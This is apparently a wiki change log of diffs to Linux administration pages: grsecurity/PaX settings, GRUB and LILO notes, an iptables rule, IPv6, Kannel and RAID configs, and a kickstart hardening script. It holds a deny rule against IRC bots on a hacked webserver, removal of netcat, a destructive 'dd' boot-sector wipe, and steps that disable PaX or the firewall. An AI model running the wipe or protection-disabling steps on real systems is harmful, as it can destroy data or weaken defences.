		+	MAC system integration (direct) —>
		+
		+	Non-executable pages
		+
		+	[*] Enforce non-executable pages
		+	[*] Paging based non-executable pages
		+	[*] Segmentation based non-executable pages
		+	[*] Emulate trampolines
		+	[*] Restrict mprotect()
		+	[ ] Disallow ELF text relocations
		+	[*] Enforce non-executable kernel pages
		+
		+	[*] Address Space Layout Randomization
		+	[*] Randomize kernel stack base
		+	[*] Randomize user stack base
		+	[*] Randomize mmap() base
		+	</code>
		+	And for Miscellaneous hardening features I advise not to select any.
		+
		+	<note important>Once you got your pax and gr security kernel setup and have booted into it the first thing you will have to do is disable some pax functions on php binaries. NOTICE: php will work with pax functions enabled but will nbot be able to load anything like zend optimizer</note>

	===== Configuration =====		===== Configuration =====
Line 131:		Line 163:
	kernel.pax.softmode = 1		kernel.pax.softmode = 1
	kernel.grsecurity.grsec_lock = 0		kernel.grsecurity.grsec_lock = 0
		+

	==== PaX ====		==== PaX ====
Line 174:		Line 207:
	Executable shared library data : Vulnerable		Executable shared library data : Vulnerable
	Writable text segments : Vulnerable		Writable text segments : Vulnerable
		+
		+	==== Hardening Webservers ====
		+
		+	For example
		+
		+	paxctl -c /usr/local/bin/php
		+
		+	paxctl -permxs /usr/local/bin/php
		+
		+	You can even use wildcards like'' /usr/bin/php*''
		+
		+	Also make sure you do the ''sapi/cli/cgi'' module of your web server the same way. On some webservers like litespeed you will have to do the binaries on it as well. Do not disable binaries too freely, only try to do it if it is the only option to make it work.

	==== gdadm ====		==== gdadm ====

linux:grub

1202116226		current
Line 3:		Line 3:
	* [[:linux:raid#boot-system-with-grub-from-raid1\|GRUB + RAID1]]		* [[:linux:raid#boot-system-with-grub-from-raid1\|GRUB + RAID1]]
	* [[linux:grub::hacking\|GRUB hacking for fun and profit]]		* [[linux:grub::hacking\|GRUB hacking for fun and profit]]
		+

	===== In a nutshell: =====		===== In a nutshell: =====
Line 14:		Line 15:
	stage2: This is the full GRUB functionality. This is the portion that actually lives on your boot partition and needs to have the original file around. (You can, if you choose, delete the files stage1, and stage1.5 from disk after installing GRUB, but stage 2 must stay there.) This is the portion that does most of the heavy lifting, loads the		stage2: This is the full GRUB functionality. This is the portion that actually lives on your boot partition and needs to have the original file around. (You can, if you choose, delete the files stage1, and stage1.5 from disk after installing GRUB, but stage 2 must stay there.) This is the portion that does most of the heavy lifting, loads the
	menu.lst, etc.		menu.lst, etc.
		+
		+	===== Failover boot =====
		+
		+	default saved
		+	fallback 1
		+	title Debian GNU/Linux, kernel
		+	root (hd0,0)
		+	kernel /vmlinuz-2.6.19.7 root=/dev/md1 ro panic=30 oops=panic
		+	initrd /initrd.img-2.6.19.7
		+	savedefault 1
		+
		+
		+	Kernel num '1' is the one you know it boots. New one is in place 0, set default to 0
		+
		+	# grub-set-default 0
		+
		+

linux:hyundai-mb-810

1250167814		current
Line 62:		Line 62:
	OK AT+CGDCONT=1,"IP","internet"		OK AT+CGDCONT=1,"IP","internet"
	OK ATD*99#		OK ATD*99#
-	</cide>	+	</code>

	...in gremo:		...in gremo:

linux:ibm-z60t

1229417205		current
Line 1:		Line 1:
-	====== IBM Z60t ======	+	====== IBM Thinkpad (Z60t, Z60*) ======

linux:iptables

1214550098		current
Line 66:		Line 66:

	//You'll have to compile your kernel with ''ipset'' and ''connlimit'' support.//		//You'll have to compile your kernel with ''ipset'' and ''connlimit'' support.//
		+

	===== Conntrack table full =====		===== Conntrack table full =====
Line 79:		Line 80:
	connlimit is not in the vanilla kernel at the minute; you need to patch with pom. You can download pom from		connlimit is not in the vanilla kernel at the minute; you need to patch with pom. You can download pom from
	http://ipset.netfilter.org/install.html, but you may need to patch pom first! See http://lists.netfilter.org/pipermail/netfilter-devel/2006-July/025090.html		http://ipset.netfilter.org/install.html, but you may need to patch pom first! See http://lists.netfilter.org/pipermail/netfilter-devel/2006-July/025090.html
		+
		+	===== Preventing webserver hackers from connecting to IRC servers =====
		+
		+	Sometimes when a user runs some picture-gallery or forum software, your server gets more or less hacked: a hacker will start under the user with which your webserver runs ('www-run' for example) an ircbot. You can prevent this with this:
		+
		+	iptables -I OUTPUT -m owner -p tcp --destination-port 6660:6669 --uid-owner nobody -j REJECT
		+
		+	//This will not work if the hacker runs his/her irc-server on a different portnumber then the ones blocked.//

	==== Firewall example (the good old TNT firewall) ====		==== Firewall example (the good old TNT firewall) ====
	Download {{linux:firewall.sh\|here}}		Download {{linux:firewall.sh\|here}}

linux:ipv6

1275040024		current
Line 49:		Line 49:
	===== Router adv =====		===== Router adv =====
	Router side		Router side
-	<code \|f /etc/radvd.conf>	+	<code \| /etc/radvd.conf>
	interface eth0		interface eth0
	{		{
Line 75:		Line 75:


		+	</code>
		+
		+	===== Router dibbler dhcpv6 =====
		+	Router side
		+	<code \| /etc/dibbler/server.conf>
		+
		+	log-level 1
		+	log-mode short
		+	preference 0
		+
		+	iface eth1 {
		+	option dns-server 2001:15c0:ffff:f::12,2001:15c0:1000:1036::1
		+	option domain net.lan
		+	option time-zone CET
		+	option lifetime 500
		+	t1 1800-2000
		+	t2 2700-3000
		+	prefered-lifetime 3600
		+	valid-lifetime 7200
		+
		+	class {
		+	pool 2001:15c0:1000:1036::1/64
		+	}
		+
		+	}
	</code>		</code>

linux:isc_dhcp_client_customizing

1262914885		current
Line 2:		Line 2:

	===== Goal =====		===== Goal =====
-	Sometimes one is faced with a difficult task - a backup link that requires DHCP to configure the interface. In itself, the task does not seem hard. But the devil is in the detail. The backup link default route(s) should not be inserted into the default routing table, but rather into a separate table.	+	Sometimes one is faced with a difficult task - a backup link that requires DHCP to configure the interface. In itself, the task does not seem hard. The devil, however, is in the detail. The backup link default route(s) should not be inserted into the default routing table, but rather into a separate table.

	The goal is to modify dhclient to do what we want while still being able to upgrade the package with security updates without extra work.		The goal is to modify dhclient to do what we want while still being able to upgrade the package with security updates without extra work.

linux:ite-it8212

	current
Line 1:	Line 1:
	+	<html>
	+	<pre>
	+	How to boot from the ITE IT8212 raid module
	+	by: Hendrik-Jan Heins, 15-06-2004, rev.1.41

	+
	+	The ITE IT8212 Raid controller has drivers for Linux available. Both in distro specific as
	+	sourcecode form. All these are available in one package on: http://www.ite.com.tw/productInfo/Download.html
	+	These seem to work just as wel for the on-mainboard solutions like Gigabyte provides as for the
	+	pci raid cards containing the chip. The driver also appears to be working for the ITE IT8211 chip.
	+	(thanks to Peter K. for this information).
	+
	+	Kernel 2.4
	+
	+	As module
	+	You can compile it for your own distro from source as a module. To do that, download the driver source from ITE,
	+	get the kernel source for your distro, go to the ite-directory for your distro, type "make" and copy the
	+	file "iteraid.o" to your kernel modules directory in the scsi map. Reboot your system, and
	+	type "modprobe iteraid" to test the module.
	+	If it works, place the modulename "iteraid" in your "/etc/modules" file.
	+	You can find the ITE IT8212 drivers as pre-packaged modules for several Distro's, but also the
	+	source all in one file at: http://www.ite.com.tw/productInfo/Download.html
	+
	+	In the kernel
	+	Unpack the kernel source and the IT8212 driver source.
	+	Copy the files "iteraid.c" and "iteraid.h" to the scsi subdir of the kernel source(-> /usr/src/linux/driver/scsi ).
	+	Next, before configuring your kernel, you will have to modify the files "Config.in" and "Makefile" in
	+	the directory /usr/src/linux-2.4.x/driver/scsi.
	+
	+	I do not pretend that the following is the only solution, or even that it is correct, but it seems to work:
	+	In "Config.in" I added a line with:
	+	"dep_tristate ' ITE8212F software RAID (EXPERIMENTAL)' CONFIG_SCSI_ATA_ITE $CONFIG_SCSI_IDE $CONFIG_EXPERIMENTAL"
	+	I added this line below the line about the Via SATA module.
	+	This line is needed for the module to be found during the config.
	+	Now you can find it in the scsi section, in the subsection card-specific drivers.
	+
	+	In "Makefile" I added the following:
	+	"obj-$(CONFIG_SCSI_ATA_ITE) += libata.o iteraid.o"
	+	below the line about the sata_via.o (and the other sata drivers).
	+
	+	Next, go to the Building and compiling section, below the Kernel 2.6 section.
	+
	+
	+	Kernel 2.6
	+
	+	As module
	+	The driverpackage now also contains a module for the 2.6 kernel!
	+	Go to: http://www.ite.com.tw/productInfo/Download.html
	+	and get it there. This module won compile correctly yet. In the file
	+	"Makefile" there's: "KERNEL_SRC = /usr/src/linux-2.6.1". Replace "linux-2.6.1" by the
	+	name of the directory your kernel has. Save the changes and compile the module with the
	+	"make" command. Next, copy the file "iteraid.ko" to your kernel module dir, the scsi subdir.
	+	type "modprobe iteraid" to test the module.
	+	If it works, place the modulename "iteraid" in your "/etc/modprobe.preload" file.
	+	You can find the ITE IT8212 drivers as pre-packaged modules for several Distro's, but also the
	+	source all in one file at: http://www.ite.com.tw/productInfo/Download.html
	+
	+	In the kernel
	+	Now to integrate this module in the 2.6 kernel:
	+	Unpack the kernel source and the IT8212 driver source.
	+	Place the files "iteraid.c" and "iteraid.h" in the scsi directory of the kernel source
	+	(-> /usr/src/linux-2.6.x/driver/scsi).
	+	Next, before configuring your kernel, you will have to modify the files "Kconfig.in" and "Makefile" in
	+	the directory /usr/src/linux-2.6.x/driver/scsi.
	+
	+	In "Kconfig.in" I added:
	+	"config SCSI_ITE_RAID
	+	tristate "ITE IT8212 support"
	+	depends on SCSI && PCI && EXPERIMENTAL
	+	help
	+	For use of the ITE IT8212 RAID controller.
	+
	+	If unsure, say N. "
	+	Below the SCSI_SATA_VIA rules.
	+	and in "Makefile" I added:
	+	"obj-$(CONFIG_SCSI_ITE_RAID) += iteraid.o"
	+	Below the line about the Sata_Via module.
	+
	+
	+	Building and compiling
	+
	+	Now compile the kernel as usual, but don't do a "make dep" when you use a 2.6 series kernel!!
	+
	+	You can configure the kernel: choose make config / make menuconfig or make xconfig , whichever you like.
	+	To install with the raid module in the kernel, select the iteraid in the kernel (from the scsi card
	+	specific subsection), and add the lowlevel drivers sg (generic scsi) and sd_mod (scsi disk support)
	+	to the kernel. These drivers are needed for the RAID to work.
	+	Note that if you add the flag "experimental", you should make sure "experimental" modules wil be
	+	shown in the config. You can do so by turning on the "[*] Prompt for development and/or incomplete code/drivers"
	+	flag in "Code maturity level options ".
	+
	+	Next, do a "make dep", "make bzImage" and "make modules"
	+	Now you can install the modules to the disk: "make modules_install"
	+	Copy the kernel image to the "/boot" directory
	+
	+	Next, edit your lilo.conf file (for Grub users: sorry, I don't know how you should do this, but the settings are
	+	probably quite similar).
	+	You will have to make an entry for your raid boot, but you will also have to change the boot order of your disks.
	+	This is how the main section should look:
	+	boot=/dev/sda <- important!
	+	map=/boot/map
	+	vga=791
	+	default="raid"
	+	keytable=/boot/us-latin1.klt
	+	compact
	+	prompt
	+	nowarn
	+	timeout=100
	+	message=/boot/message
	+	menu-scheme=wb:bw:wb:bw
	+	disk=/dev/hda bios=0x81 <- important!
	+	disk=/dev/sda bios=0x80 <- important!
	+
	+	Now the settings for the raid boot itself:
	+
	+	image=/boot/bzImage
	+	label="raid"
	+	root=/dev/sda1
	+	initrd=/boot/initrd-2.4.22-21mdkcustom.img
	+	append="devfs=mount hdc=ide-scsi"
	+	vga=791
	+	read-only
	+
	+
	+	I know not all of these lilo settings are required, but this is how it works for me.
	+	Do not forget to run "lilo -v" next, and if you use initrd, also run "mkinitrd" to activate the changes.
	+
	+	Now you can reboot from your raid!
	+
	+
	+	If you have any comments or additional information, don't hesitate to drop me a line: hjh@<NOSPAM>.passys.nl
	+	</pre>
	+	</html>

linux:kannel

	current
Line 1:	Line 1:
	+	/etc/modems.conf
	+	group = modems
	+	id = "mc35"
	+	name = "mc35"
	+	detect-string = "SIEMENS"
	+	detect-string2 = "MC35"
	+	init-string = "AT+CNMI=3,2,0,1,1"
	+	speed = autodetect
	+
	+
	+	group = core
	+	admin-port = 13000
	+	admin-password = bar
	+	#admin-deny-ip = "..."
	+	#admin-allow-ip = ""
	+	wapbox-port = 13002
	+	wdp-interface-name = "*"
	+	log-file = "/var/log/kannel/bearerbox.log"
	+	#box-deny-ip = "..."
	+	#box-allow-ip = "127.0.0.1"
	+	smsbox-port = 13004
	+
	+	group = wapbox
	+	bearerbox-host = localhost
	+	log-file = "/var/log/kannel/wapbox.log"
	+
	+	group = smsbox
	+	bearerbox-host = localhost
	+	sendsms-port = 13005
	+	sendsms-chars = "0123456789+- "
	+	global-sender = XXXX
	+	access-log = "/var/log/kannel/kannel-sms-access.log"
	+	log-file = "/var/log/kannel/smsbox.log"
	+
	+	group = smsc
	+	smsc = at
	+	smsc-id = MC35
	+	modemtype = mc35
	+	#modemtype = auto
	+	device = /dev/ttyS0
	+	speed = 0
	+	#speed = 9600
	+	#pin = 0078
	+	#my-number = +38641XXXXX
	+	preferred-smsc-id = MC35
	+	keepalive = 10
	+	sms-center = +38641001333
	+	include = "/etc/modems.conf"
	+
	+	group = sendsms-user
	+	username = XXXXX
	+	password = XXXXX

linux:kernel

1241127972		current
Line 1:		Line 1:
	====== Linux kernel ======		====== Linux kernel ======
		+


Line 20:		Line 21:
	# CONCURRENCY_LEVEL=4 make-kpkg --initrd --rootcmd=fakeroot --append-to-version=<version> kernel_image		# CONCURRENCY_LEVEL=4 make-kpkg --initrd --rootcmd=fakeroot --append-to-version=<version> kernel_image

-	Cross-compiling \\	+	==== Cross-compiling ====
	see: http://michael-prokop.at/blog/2007/01/21/cross-compile-the-linux-kernel-on-debian/		see: http://michael-prokop.at/blog/2007/01/21/cross-compile-the-linux-kernel-on-debian/
		+
		+	Adjust $KERNELSOURCE/Makefile to:
		+
		+	ARCH = powerpc
		+	CROSS_COMPILE = powerpc-linux-gnu-
		+
		+	export ARCH=powerpc
		+
		+	make-kpkg --arch powerpc ...
		+
		+
		+

	===== kernel lab =====		===== kernel lab =====

linux:lilo

1243204502		current
Line 70:		Line 70:
	Linux:		Linux:
	dd if=/dev/zero of=/dev/sdb bs=512 count=1		dd if=/dev/zero of=/dev/sdb bs=512 count=1
		+
		+	===== LILO ERROR codes =====
		+
		+	<note tip>LILO errors do not contain any message. When it loads, it shows the LILO word. Every letter of this word is printed after or before performing some particular actions. When LILO fails to load at any point, you can use the letters that are printed so far for identifying the problem. Below is the description of the words that are printed when LILO loads:</note>
		+
		+	* L : It means the first stage of boot loader is loaded in the main memory and initialized, but it can not load second stage of the boot loader. It generally indicates a hard drive geometry mismatch or media failure problem.
		+
		+	* LI : The first stage of boot loader has loaded second state of the boot loader, but it is unable to execute it. It can occur when you move /boot/boot.b without running map installer.
		+
		+	* LIL :It states that second stage of boot loader is started, but descriptor table can not be loaded from map file. It is generally caused due to media failure.
		+
		+	* LIL- : It denotes descriptor table corruption.

linux:loopaes

1140297816		current
Line 1:		Line 1:
	http://deb.riseup.net/storage/encryption/loop-aes/		http://deb.riseup.net/storage/encryption/loop-aes/
		+
		+	http://www.debian-administration.org/articles/81

linux:lvm

1162152285		current
Line 2:		Line 2:

	* [[http://www.cyberciti.biz/tips/consistent-backup-linux-logical-volume-manager-snapshots.html\|Consistent backup with Linux Logical Volume Manager (LVM) snapshots]]		* [[http://www.cyberciti.biz/tips/consistent-backup-linux-logical-volume-manager-snapshots.html\|Consistent backup with Linux Logical Volume Manager (LVM) snapshots]]
		+	* [[http://www.howtoforge.com/encrypted-root-lvm\|Encrypted root LVM]]

	===== Example usage =====		===== Example usage =====

linux:minimization-rh

	current
Line 1:	Line 1:
	+	<html><pre>
	+	install
	+	url --url http://....
	+	lang en_US.UTF-8
	+	langsupport --default=en_CA.UTF-8 en_CA.UTF-8 en_US.UTF-8
	+	keyboard us
	+	network --device eth0 --bootproto dhcp
	+	rootpw --iscrypted ....
	+	firewall --disabled
	+	selinux --enforcing
	+	authconfig --enableshadow --enablemd5
	+	timezone --utc America/Vancouver
	+	bootloader --location=mbr
	+	# The following is the partition information you requested
	+	# Note that any partitions you deleted are not expressed
	+	# here so unless you clear all partitions first, this is
	+	# not guaranteed to work
	+	clearpart --linux
	+	part /boot --fstype ext3 --size=100 --asprimary
	+	part pv.8 --size=100 --grow
	+	volgroup VolGroup00 --pesize=32768 pv.8
	+	logvol / --fstype ext3 --name=Root --vgname=VolGroup00 --size=512
	+	logvol swap --fstype swap --name=swap --vgname=VolGroup00 --size=1024
	+	logvol /tmp --fstype ext3 --name=Tmp --vgname=VolGroup00 --size=512
	+	logvol /home --fstype ext3 --name=Home --vgname=VolGroup00 --size=1024
	+	logvol /var/log --fstype ext3 --name=VarLog --vgname=VolGroup00 --size=1024
	+	logvol /var --fstype ext3 --name=Var --vgname=VolGroup00 --size=3008
	+	logvol /usr --fstype ext3 --name=Usr --vgname=VolGroup00 --size=2016

	+	%packages
	+	e2fsprogs
	+	grub
	+	lvm2
	+	kernel
	+	dtach
	+	elinks
	+	lslk
	+	ntp
	+	postfix
	+	screen
	+	SL_enable_slocate_cron
	+	SL_inittab_change
	+	sysstat
	+	vim-common
	+	vim-enhanced
	+	which
	+	yum-changelog
	+	yum-conf
	+	yum-installonlyn
	+	yum-protectbase
	+	yum-versionlock
	+
	+	-sendmail
	+	-procmail
	+	-syslinux
	+	-freetype
	+	-nfs-utils
	+	-xorg-x11-libs
	+	-isdn4k-utils
	+	-mkbootdisk
	+	-libjpeg
	+	-wvdial
	+	-bluez-utils
	+	-rdist
	+	-nc
	+	-cups
	+	-lrzsz
	+	-NetworkManager
	+	-setuptool
	+	-libpng
	+	-ipw2200-firmware
	+	-ppp
	+	-hesiod
	+	-m4
	+	-portmap
	+	-autofs
	+	-diskdumputils
	+	-pax
	+	-finger
	+	-bluez-libs
	+	-system-config-mouse
	+	-yp-tools
	+	-pam_krb5
	+	-ipw2100-firmware
	+	-fontconfig
	+	-jpackage-utils
	+	-mtools
	+	-acpid
	+	-system-config-network-tui
	+	-redhat-lsb
	+	-system-config-securitylevel-tui
	+	-libtiff
	+	-ypbind
	+	-xorg-x11-Mesa-libGL
	+	-irda-utils
	+	-talk
	+	-rp-pppoe
	+	-bluez-bluefw
	+	-mt-st
	+	-apmd
	+	-tcpdump
	+	-rsh
	+	-wireless-tools
	+	-cups-libs
	+	-pam_smb
	+	-numactl
	+	-bluez-hcidump
	+	-krb5-workstation
	+	-netconfig
	+
	+	%post
	+	##############
	+	# First Boot #
	+	##############
	+	# A file is created and rc.local set to run on boot.
	+	# The file eats itself once it's done and removes the entry from rc.local
	+
	+	echo '/etc/sysconfig/firstboot' >> /etc/rc.d/rc.local
	+
	+	cat << EOF > /etc/sysconfig/firstboot
	+	/etc/cron.daily/yum.cron
	+	/usr/bin/yum update kernel* -y
	+	/usr/bin/yum install SL_enable_serialconsole -y
	+	/usr/bin/updatedb
	+	sed -i /firstboot/d /etc/rc.d/rc.local
	+	rm -f /etc/sysconfig/firstboot
	+
	+	# cfengine bootstrapping stuff here later
	+	#
	+	reboot # reboot the system
	+	to apply any kernel changes
	+	EOF
	+
	+	chown root:root /etc/sysconfig/firstboot
	+	chmod 700 /etc/sysconfig/firstboot
	+
	+
	+	#################
	+	# Configure Yum #
	+	#################
	+	# Use our local repositories rather than ftp.scientificlinux.org
	+	sed -i /baseurl/c\baseurl=http://......../4x/\$basearch/errata/SL/RPMS
	+	/etc/yum.repos.d/sl-errata.repo
	+	sed -i /baseurl/c\baseurl=http://......../4x/\$basearch/SL/RPMS
	+	/etc/yum.repos.d/sl.repo
	+	sed -i /baseurl/c\baseurl=http://...../4x/\$basearch/errata/fastbug/RPMS
	+	/etc/yum.repos.d/sl-fastbug.repo
	+
	+	###############################
	+	# Send root's email somewhere #
	+	###############################
	+	sed -i /^#root:/c\root:\ root@..... /etc/aliases
	+	newaliases
	+
	+	#######################
	+	## HARDEN THE SYSTEM ##
	+	#######################
	+
	+	# Start by setting the umask so that files that get created aren't
	+	readable by everyone
	+	umask 077
	+
	+	###############################
	+	# Turn off un-needed services #
	+	###############################
	+	for SERVICE in netfs readahead readahead_early cpuspeed rawdevices
	+	xinetd pcmcia iptables mdmonitor anacron atd kudzu;
	+	do
	+	chkconfig --level 0123456 $SERVICE off
	+	done
	+
	+	##############
	+	# Enable NTP #
	+	##############
	+	chkconfig --level 3 ntpd on
	+
	+	###########################################
	+	# Configure and Enable Process Accounting #
	+	###########################################
	+	# Create the process accounting log file and set it's permissions
	+	touch /var/log/pacct
	+	chmod 600 /var/log/pacct
	+
	+	# The psacct utilities (sa, lastcomm, etc) expect the log file to be at
	+	/var/account/pacct.
	+	# I want all my logs in /var/log/ so I need to change the init script
	+	and create a symlink
	+	# to the default location
	+	sed -i s/ACCTFILE=\/var\/account\/pacct/ACCTFILE=\/var\/log\/pacct/
	+	/etc/rc.d/init.d/psacct
	+	ln -sf /var/log/pacct /var/account/pacct
	+
	+	# Turn on process accounting
	+	chkconfig --level 3 psacct on
	+
	+	# Setup log rotation for process accounting - these logs can take up a
	+	fair bit of space
	+	cat << EOF > /etc/logrotate.d/pacct
	+	# default to rotation schedule set in /etc/logrotate.conf
	+	/var/log/pacct {
	+	postrotate
	+	/usr/sbin/accton /var/log/pacct
	+	endscript
	+	}
	+	EOF
	+
	+	################################
	+	# Set Tighter File Permissions #
	+	################################
	+	# add 'nodev' option to appropriate partitions in /etc/fstab
	+	cp -p /etc/fstab /etc/fstab.tmp
	+	awk '($3 ~ /^ext[23]$/ && $2 != "/") \
	+	{ $4 = $4 ",nodev" }; \
	+	{ print }' /etc/fstab.tmp > /etc/fstab
	+	chown root:root /etc/fstab
	+	chmod 0644 /etc/fstab
	+	rm -f /etc/fstab.tmp
	+
	+	# Set a very restrictive system umask
	+	echo 'umask 077' >> /etc/profile
	+	echo 'umask 077' >> /etc/.bash_profile
	+	echo 'umask 077' >> /etc/csh.login
	+
	+	# Remove rwx from other for the following files
	+	for PROGRAM in /bin/setserial /sbin/badblocks /sbin/ctrlaltdel
	+	/sbin/chkconfig /sbin/debugfs /sbin/depmod /sbin/dump /sbin/dumpe2fs
	+	/sbin/fdisk /sbin/fsck /sbin/fsck.ext2 /sbin/halt /sbin/hdparm
	+	/sbin/hwclock /sbin/ifconfig /sbin/ifdown /sbin/ifup /sbin/init
	+	/sbin/insmod /sbin/killall5 /sbin/mingetty /sbin/mke2fs /sbin/mkfs
	+	/sbin/mkfs.ext2 /sbin/mkfs.msdos /sbin/mkinitrd /sbin/mkswap
	+	/sbin/modinfo /sbin/modprobe /sbin/quotaon /sbin/restore /sbin/runlevel
	+	/sbin/swapon /sbin/tune2fs /usr/bin/eject /usr/bin/minicom /usr/sbin/atd
	+	/usr/sbin/atrun /usr/sbin/crond /usr/sbin/edquota /usr/sbin/groupadd
	+	/usr/sbin/groupdel /usr/sbin/usernetctl /usr/sbin/groupmod
	+	/usr/sbin/grpck /usr/sbin/grpconv /usr/sbin/grpunconv /sbin/klogd
	+	/usr/sbin/logrotate /usr/sbin/newusers /usr/sbin/vipw /usr/sbin/ntpdate
	+	/usr/sbin/ntpq /usr/sbin/ntptime /usr/sbin/ntptrace /usr/sbin/ntsysv
	+	/usr/sbin/pwck /usr/sbin/pwconv /usr/sbin/pwunconv /usr/sbin/rdev
	+	/usr/sbin/rpc.rquotad /usr/sbin/rpcinfo /sbin/syslogd /usr/sbin/tcpd
	+	/usr/sbin/tmpwatch /usr/sbin/tunelp /usr/sbin/useradd /usr/sbin/userdel
	+	/usr/sbin/usermod /usr/sbin/visudo;
	+	do
	+	chmod 750 $PROGRAM
	+	done
	+
	+	# Ensure that all log file perms are set correctly
	+	cd /var/log
	+	chmod o-rwx boot.log* cron* dmesg ksysms* httpd/* maillog* messages*
	+	news/* pgsql rpmpkgs* samba/* sa/* scrollkeeper.log secure* spooler*
	+	squid/* vbox/* wtmp
	+	chmod o-rx boot.log* cron* maillog* messages* pgsql secure* spooler*
	+	squid/* sa/*
	+	chmod g-w boot.log* cron* dmesg ksysms* httpd/* maillog* messages* pgsql
	+	rpmpkgs* samba/* sa/* scrollkeeper.log secure* spooler*
	+	chmod g-rx boot.log* cron* maillog* messages* pgsql secure* spooler*
	+	chmod o-w gdm/ httpd/ news/ samba/ squid/ sa/ vbox/
	+	chmod o-rx httpd/ samba/ squid/ sa/
	+	chmod g-w gdm/ httpd/ news/ samba/ squid/ sa/ vbox/
	+	chmod g-rx httpd/ samba/ sa/
	+	chmod u-x kernel syslog loginlog
	+	chown -R root:root .
	+	chgrp utmp wtmp
	+	[ -e news ] && chown -R news:news news
	+	[ -e pgsql ] && chown postgres:postgres pgsql
	+	chown -R squid:squid squid
	+	cd -
	+
	+	# Set some misc permissions
	+	chmod 2750 /sbin/netreport
	+	chmod 4750 /usr/bin/gpasswd
	+	chmod 4710 /usr/sbin/userhelper
	+	chmod 550 /usr/sbin/quotastats
	+	chmod 550 /usr/sbin/repquota
	+	chmod 400 /etc/crontab
	+	chmod 700 /var/spool/cron
	+	chmod -R go-rwx /etc/cron.allow /etc/cron.deny /etc/cron.d
	+	/etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly
	+
	+	##################
	+	# SUID Lock Down #
	+	##################
	+	for PROGRAM in /bin/mount /bin/umount /bin/ping /usr/bin/at
	+	/usr/sbin/traceroute /bin/traceroute6;
	+	do
	+	chmod 755 $PROGRAM
	+	done
	+
	+	chmod 750 /usr/sbin/usernetctl
	+
	+	#################################
	+	# Lock Down Individual Services #
	+	#################################
	+	# Deny anyone the ability to use the //at// and //batch// commands
	+	touch /etc/at.allow
	+	chmod go-rwx /etc/at.allow /etc/at.deny
	+
	+	# Deny anyone, but root, the ability to use cron
	+	echo root > /etc/cron.allow
	+
	+	# Lock down the ssh client and server
	+	cat << EOF >> /etc/ssh/sshd_config
	+	Protocol 2
	+	PermitRootLogin no
	+	Banner /etc/issue.net
	+	EOF
	+
	+	echo ' Protocol 2' >> /etc/ssh/ssh_config
	+
	+	####################################
	+	# Enforce a Strong Password Policy #
	+	####################################
	+	# This policy enforces a minimum password length of 8 characters,
	+	# cannot be based upon a dictionary word, and should have
	+	# uppercase, lowercase, digits and symbols.
	+
	+	sed -i s/PASS_MIN_LEN.*/PASS_MIN_LEN\ 8/ /etc/login.defs
	+	sed -i s/pam_cracklib.so\ retry=3/pam_cracklib.so\ retry=3\ minlen=12\
	+	dcredit=1\ ucredit=1\ lcredit=1\ ocredit=1\ difok=0/ /etc/pam.d/system-auth
	+
	+	#########################
	+	# Kernel Network Tuning #
	+	#########################
	+	# !!Note: This will probably be handled by shorewall if I decide
	+	# to put shorewall on all boxes!!
	+	cat << EOF > /etc/sysctl.conf
	+	net.ipv4.ip_forward = 0
	+	net.ipv4.tcp_max_syn_backlog = 4096
	+	net.ipv4.tcp_syncookies = 1
	+	net.ipv4.conf.all.rp_filter = 1
	+	net.ipv4.conf.all.accept_source_route = 0
	+	net.ipv4.conf.all.accept_redirects = 0
	+	net.ipv4.conf.all.secure_redirects = 0
	+	net.ipv4.conf.all.send_redirects = 0
	+	net.ipv4.conf.default.rp_filter = 1
	+	net.ipv4.conf.default.accept_source_route = 0
	+	net.ipv4.conf.default.accept_redirects = 0
	+	net.ipv4.conf.default.secure_redirects = 0
	+	net.ipv4.conf.default.send_redirects = 0
	+	net.ipv4.icmp_echo_ignore_broadcasts = 1
	+	EOF
	+	chown root:root /etc/sysctl.conf
	+	chmod 0600 /etc/sysctl.conf
	+
	+	##################
	+	# Misc Lock Down #
	+	##################
	+	# Configure TCPwrappers
	+	cat << EOF >> /etc/hosts.allow
	+	ALL : localhost : ALLOW
	+	in.fingerd : ALL : DENY
	+	sshd : ALL : ALLOW
	+	EOF
	+
	+	echo 'ALL : ALL : spawn (/usr/sbin/safe_finger -l @%h \| /bin/mail -s
	+	"Port Denial noted %d-%h" root) & : DENY' >> /etc/hosts.deny
	+
	+	# set some system limits so that a given user can't DOS the system
	+	cat << EOF >> /etc/security/limits.conf
	+	# prevent core dumps
	+	* hard core 0
	+
	+	#limit user processes per user to 150
	+	* soft nproc 100
	+	* hard nproc 150
	+	EOF
	+
	+	# Turn off the magic sysrequest key feature
	+	echo '#Disable the magic sysrequest key feature' >> /etc/sysctl.conf
	+	echo 'kernel.sysrq = 0' >> /etc/sysctl.conf
	+
	+	# Set a legal warning in /etc/issue* so that anyone logging in will be
	+	informed of the consequences of their actions.
	+	ln -sf /etc/issue /etc/issue.net
	+	cat << EOF > /etc/issue
	+	***************************************************************************
	+	NOTICE
	+
	+
	+	This computer system is the private property of .............
	+	It is for authorized use only. Users (authorized or
	+	unauthorized) have no explicit or implicit expectation of privacy.
	+
	+	Any or all uses of this system and all files on this system may be
	+	intercepted, monitored, recorded, copied, audited, inspected, and
	+	disclosed to your employer, to authorized site, government, and law
	+	enforcement personnel, as well as authorized officials of government
	+	agencies, both domestic and foreign.
	+
	+	By using this system, the user consents to such interception,
	+	monitoring, recording, copying, auditing, inspection, and
	+	disclosure at the discretion of such personnel or officials.
	+	Unauthorized or improper use of this system may result in
	+	civil and criminal penalties and administrative or disciplinary
	+	action, as appropriate. By continuing to use this system you
	+	indicate your awareness of and consent to these terms
	+	and conditions of use. LOG OFF IMMEDIATELY if you do not agree
	+	to the conditions stated in this warning.
	+
	+	****************************************************************************
	+	</pre></html>

linux:mogilefs

	current
Line 1:	Line 1:
	+	====== MogileFS ======
	+
	+	* http://www.danga.com/mogilefs/
	+

linux:networking

1260893911		current
Line 180:		Line 180:
	!no ip address		!no ip address
	channel-group 1 mode on		channel-group 1 mode on
		+	!channel-group 1 mode active
	!		!
	</code>		</code>

linux:nfs

1222453437		current
Line 16:		Line 16:
	/home somehost(rw,insecure)		/home somehost(rw,insecure)

		+	===== NFS configuration for central storage =====
		+
		+	==== Configuring The NFS Server ====
		+
		+	Edit the /etc/exports file to allow NFS mounts of the /home directory with read/write access.
		+
		+	/home *(rw,sync,no_subtree_check)
		+
		+	The option listing for each machine will describe what kind of access that machine will have. Important options are:
		+
		+	* ro: The directory is shared read only; the client machine will not be able to write to it. This is the default.
		+	* rw: The client machine will have read and write access to the directory.
